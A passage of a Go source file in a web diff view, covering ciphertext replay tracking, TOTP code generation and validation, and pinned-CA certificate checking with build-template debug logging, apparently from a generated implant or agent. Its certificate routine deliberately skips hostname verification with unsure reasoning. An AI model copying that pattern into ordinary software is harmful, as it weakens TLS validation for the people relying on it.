if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
digest := sha256.Sum256(ciphertext)
|
||||
b64Digest := base64.RawStdEncoding.EncodeToString(digest[:])
|
||||
c.replay.Store(b64Digest, true)
|
||||
return ciphertext, nil
|
||||
}
|
||||
|
||||
// GetOTPCode - Get the current OTP code
|
||||
func GetOTPCode() string {
|
||||
now := time.Now().UTC()
|
||||
code, _ := totp.GenerateCodeCustom(totpSecret, now, totpOptions)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("TOTP Code: %s", code)
|
||||
// {{end}}
|
||||
return code
|
||||
}
|
||||
|
||||
// ValidateTOTP - Validate a TOTP code
|
||||
func ValidateTOTP(code string) (bool, error) {
|
||||
now := time.Now().UTC()
|
||||
valid, err := totp.ValidateCustom(code, totpSecret, now, totpOptions)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
return valid, nil
|
||||
}
|
||||
|
||||
// rootOnlyVerifyCertificate - Go doesn't provide a method for only skipping hostname validation so
|
||||
// we have to disable all of the certificate validation and re-implement everything.
|
||||
// https://github.com/golang/go/issues/21971
|
||||
func RootOnlyVerifyCertificate(caCertPEM string, rawCerts [][]byte, _ [][]*x509.Certificate) error {
|
||||
roots := x509.NewCertPool()
|
||||
ok := roots.AppendCertsFromPEM([]byte(caCertPEM))
|
||||
if !ok {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to parse root certificate")
|
||||
// {{end}}
|
||||
os.Exit(3)
|
||||
}
|
||||
|
||||
cert, err := x509.ParseCertificate(rawCerts[0]) // We should only get one cert
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to parse certificate: " + err.Error())
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
|
||||
// Basically we only care if the certificate was signed by our authority
|
||||
// Go selects sensible defaults for time and EKU, basically we're only
|
||||
// skipping the hostname check, I think?
|
||||
options := x509.VerifyOptions{
|
||||
Roots: roots,
|
||||
}
|
||||
if _, err := cert.Verify(options); err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to verify certificate: " + err.Error())
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
Loaded 100 of 586 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user